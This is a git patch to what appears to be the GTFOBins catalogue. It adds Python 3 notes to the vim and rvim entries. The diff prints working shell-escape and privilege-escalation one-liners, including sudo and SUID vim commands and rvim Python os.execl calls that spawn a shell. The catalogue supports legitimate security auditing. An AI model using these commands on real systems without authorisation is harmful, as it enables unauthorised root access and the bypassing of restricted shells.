From 9432a6ce3c8b0d074ee1a138855399daf52c6022 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 18 Dec 2018 13:31:22 +0100 Subject: [PATCH] Add Python 3 comment in vim and rvim --- _gtfobins/rvim.md | 8 ++++---- _gtfobins/vim.md | 6 +++--- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/_gtfobins/rvim.md b/_gtfobins/rvim.md index 1ae6056..218365a 100644 --- a/_gtfobins/rvim.md +++ b/_gtfobins/rvim.md @@ -1,10 +1,10 @@ --- functions: shell: - - description: This requires that `rvim` is compiled with Python support. + - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' file-write: - - description: This requires that rvim is compiled with Python support. + - description: This requires that rvim is compiled with Python support. Prepend `:py3` for Python 3. code: | rvim file_to_write iDATA @@ -13,9 +13,9 @@ functions: file-read: - code: rvim file_to_read suid: - - description: This requires that `rvim` is compiled with Python support. + - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' sudo: - - description: This requires that `rvim` is compiled with Python support. + - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' --- diff --git a/_gtfobins/vim.md b/_gtfobins/vim.md index 9e2ea11..66cf402 100644 --- a/_gtfobins/vim.md +++ b/_gtfobins/vim.md @@ -6,7 +6,7 @@ functions: vim :set shell=/bin/sh :shell - - description: This requires that `vim` is compiled with Python support. + - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' file-write: - code: | @@ -18,10 +18,10 @@ functions: - code: vim file_to_read suid: - code: ./vim -c ':!/bin/sh -p' - - description: This requires that `vim` is compiled with Python support. + - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' sudo: - code: sudo vim -c ':!/bin/sh' - - description: This requires that `vim` is compiled with Python support. + - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' ---